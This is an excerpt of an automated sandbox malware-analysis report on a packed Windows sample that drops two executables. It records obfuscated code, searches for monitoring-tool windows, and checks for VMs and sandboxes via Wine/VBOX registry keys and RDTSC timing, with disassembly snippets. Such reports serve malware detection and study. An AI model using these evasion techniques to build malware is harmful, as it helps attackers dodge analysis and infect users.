Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: pfY4k1qisn.exe

Static file information: File size 1856000 > 1048576

Source: pfY4k1qisn.exe

Static PE information: Raw size of pgrebpvl is bigger than: 0x100000 < 0x19ce00

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe, 00000003.00000002.2502997755.0000000000DC2000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Unpacked PE file: 3.2.QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe.dc0000.0.unpack :EW;.rsrc:W;.idata :W;brdofphe:EW;pzoalvov:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Unpacked PE file: 4.2.3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe.b90000.0.unpack :EW;.rsrc:W;.idata :W;ynqricro:EW;wjlvyldl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ynqricro:EW;wjlvyldl:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe.0.dr	Static PE information: real checksum: 0x2b4c84 should be: 0x2c0e47
Source: pfY4k1qisn.exe	Static PE information: real checksum: 0x1d43f8 should be: 0x1c9b16
Source: QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe.0.dr	Static PE information: real checksum: 0x2ac9fa should be: 0x2b1d20

Source: pfY4k1qisn.exe	Static PE information: section name:
Source: pfY4k1qisn.exe	Static PE information: section name: .idata
Source: pfY4k1qisn.exe	Static PE information: section name:
Source: pfY4k1qisn.exe	Static PE information: section name: pgrebpvl
Source: pfY4k1qisn.exe	Static PE information: section name: fdnlppdx
Source: pfY4k1qisn.exe	Static PE information: section name: .taggant
Source: QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe.0.dr	Static PE information: section name:
Source: QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe.0.dr	Static PE information: section name: .idata
Source: QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe.0.dr	Static PE information: section name: brdofphe
Source: QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe.0.dr	Static PE information: section name: pzoalvov
Source: QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe.0.dr	Static PE information: section name: .taggant
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe.0.dr	Static PE information: section name:
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe.0.dr	Static PE information: section name: .idata
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe.0.dr	Static PE information: section name: ynqricro
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe.0.dr	Static PE information: section name: wjlvyldl
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00F44DD2 push edx; mov dword ptr [esp], 2DFAC020h	3_2_00F44E1B
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00F44DD2 push eax; mov dword ptr [esp], ecx	3_2_00F44E66
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00F44DD2 push ecx; mov dword ptr [esp], edi	3_2_00F44EFD
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00F44DD2 push ecx; mov dword ptr [esp], ebx	3_2_00F44F36
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00F52D79 push ebx; mov dword ptr [esp], 3FF0ACADh	3_2_00F52D83
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00F52E09 push esi; mov dword ptr [esp], 00DAF543h	3_2_00F53BD1
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00F52E09 push esi; mov dword ptr [esp], edx	3_2_00F53BEC
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00F52E09 push 50590FD7h; mov dword ptr [esp], ebx	3_2_00F54745
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00DCF0DD push ebp; mov dword ptr [esp], 31D11270h	3_2_00DCF812
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00DCF0DD push esi; mov dword ptr [esp], ebx	3_2_00DCF830
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00DD08DF push ecx; mov dword ptr [esp], eax	3_2_00DD1248
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00DD08CC push edi; mov dword ptr [esp], 6FF91C76h	3_2_00DD3F19
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00DCE8C0 push ecx; mov dword ptr [esp], eax	3_2_00DCF24F
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00DCE8C0 push 7D774032h; mov dword ptr [esp], edi	3_2_00DCF259
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00F468D4 push 1ED6B1F1h; mov dword ptr [esp], ebp	3_2_00F468ED
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00DCF0F0 push 3D99DE00h; mov dword ptr [esp], ecx	3_2_00DCF361
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00DCF0F0 push ebp; mov dword ptr [esp], edx	3_2_00DCF374
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00F528DA push 35DA5DC1h; mov dword ptr [esp], ebx	3_2_00F528E8
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00F518C6 push 7BD0D6A5h; mov dword ptr [esp], ebx	3_2_00F551F2
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00F518CE push 5238D4C1h; mov dword ptr [esp], edx	3_2_00F5319F
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00F518CE push 7109C4A5h; mov dword ptr [esp], eax	3_2_00F531E1
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00F520CA push 090C4F47h; mov dword ptr [esp], esi	3_2_00F53B68
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00F450B6 push esi; mov dword ptr [esp], edx	3_2_00F450F7
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00F450B6 push 374576DBh; mov dword ptr [esp], edx	3_2_00F45161
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00F450B6 push 0A22B124h; mov dword ptr [esp], ecx	3_2_00F451BE
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00F520BF push edx; mov dword ptr [esp], eax	3_2_00F54C70
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00DD3092 push ebx; mov dword ptr [esp], 50CB9147h	3_2_00DD30B5
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00DD288D push ebx; mov dword ptr [esp], ecx	3_2_00DD28AA
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00DD088A push ebp; mov dword ptr [esp], 5FF59F25h	3_2_00DD0898
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00DCE880 push edi; mov dword ptr [esp], 26B12E00h	3_2_00DCE89C
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00F528AA push edi; mov dword ptr [esp], esi	3_2_00F53D7A

Source: pfY4k1qisn.exe	Static PE information: section name: entropy: 7.9769901890781645
Source: pfY4k1qisn.exe	Static PE information: section name: pgrebpvl entropy: 7.954429582438173

Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File created: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe			Jump to dropped file
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File created: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\pfY4k1qisn.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 9F7A19 second address: 9F7A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 9F7A1D second address: 9F7A21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B6EB3A second address: B6EB3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B5D6D2 second address: B5D6D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B5D6D6 second address: B5D751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FBDC110A222h 0x0000000d js 00007FBDC110A243h 0x00000013 jmp 00007FBDC110A228h 0x00000018 jmp 00007FBDC110A225h 0x0000001d push edx 0x0000001e jmp 00007FBDC110A222h 0x00000023 pop edx 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 pop eax 0x00000029 jmp 00007FBDC110A223h 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B6DBA0 second address: B6DBA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B6DBA6 second address: B6DBB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FBDC110A216h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B6DBB3 second address: B6DBBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B6DBBB second address: B6DBBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B6DBBF second address: B6DBCF instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBDC0E80B76h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B6DBCF second address: B6DBD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B6E00A second address: B6E021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FBDC0E80B81h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B6E1DE second address: B6E1E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B6E1E4 second address: B6E1F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FBDC0E80B76h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B6E1F1 second address: B6E212 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A21Eh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c jbe 00007FBDC110A22Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B6E212 second address: B6E216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B6E36A second address: B6E36F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B6E36F second address: B6E375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B72035 second address: 9F7A19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A220h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 75389548h 0x00000010 mov edx, dword ptr [ebp+122D3194h] 0x00000016 push dword ptr [ebp+122D1029h] 0x0000001c jmp 00007FBDC110A224h 0x00000021 call dword ptr [ebp+122D29FEh] 0x00000027 pushad 0x00000028 mov dword ptr [ebp+122D2F08h], edi 0x0000002e xor eax, eax 0x00000030 je 00007FBDC110A21Ch 0x00000036 mov edx, dword ptr [esp+28h] 0x0000003a pushad 0x0000003b mov di, dx 0x0000003e mov esi, 43016A00h 0x00000043 popad 0x00000044 mov dword ptr [ebp+122D36CFh], eax 0x0000004a clc 0x0000004b mov esi, 0000003Ch 0x00000050 jmp 00007FBDC110A226h 0x00000055 jbe 00007FBDC110A21Ch 0x0000005b add esi, dword ptr [esp+24h] 0x0000005f cmc 0x00000060 lodsw 0x00000062 jmp 00007FBDC110A21Ch 0x00000067 add eax, dword ptr [esp+24h] 0x0000006b mov dword ptr [ebp+122D2F08h], edx 0x00000071 mov ebx, dword ptr [esp+24h] 0x00000075 cmc 0x00000076 nop 0x00000077 push ecx 0x00000078 push eax 0x00000079 push edx 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B721A3 second address: B721A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B721A7 second address: B721AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B72380 second address: B7238A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B7238A second address: B72427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 sub dword ptr [ebp+122D55ECh], ebx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007FBDC110A218h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b xor dword ptr [ebp+122D2ED1h], edx 0x00000031 mov dword ptr [ebp+122D2FDCh], eax 0x00000037 push E433A1ECh 0x0000003c jmp 00007FBDC110A21Fh 0x00000041 add dword ptr [esp], 1BCC5E94h 0x00000048 mov dword ptr [ebp+122D304Ah], edi 0x0000004e push 00000003h 0x00000050 jmp 00007FBDC110A221h 0x00000055 push 00000000h 0x00000057 mov edi, 4BCE9BF2h 0x0000005c push 00000003h 0x0000005e xor ecx, dword ptr [ebp+122D36D3h] 0x00000064 push 70AA9E77h 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c jmp 00007FBDC110A21Ch 0x00000071 jmp 00007FBDC110A21Ah 0x00000076 popad 0x00000077 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B679CB second address: B679DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jo 00007FBDC0E80B76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
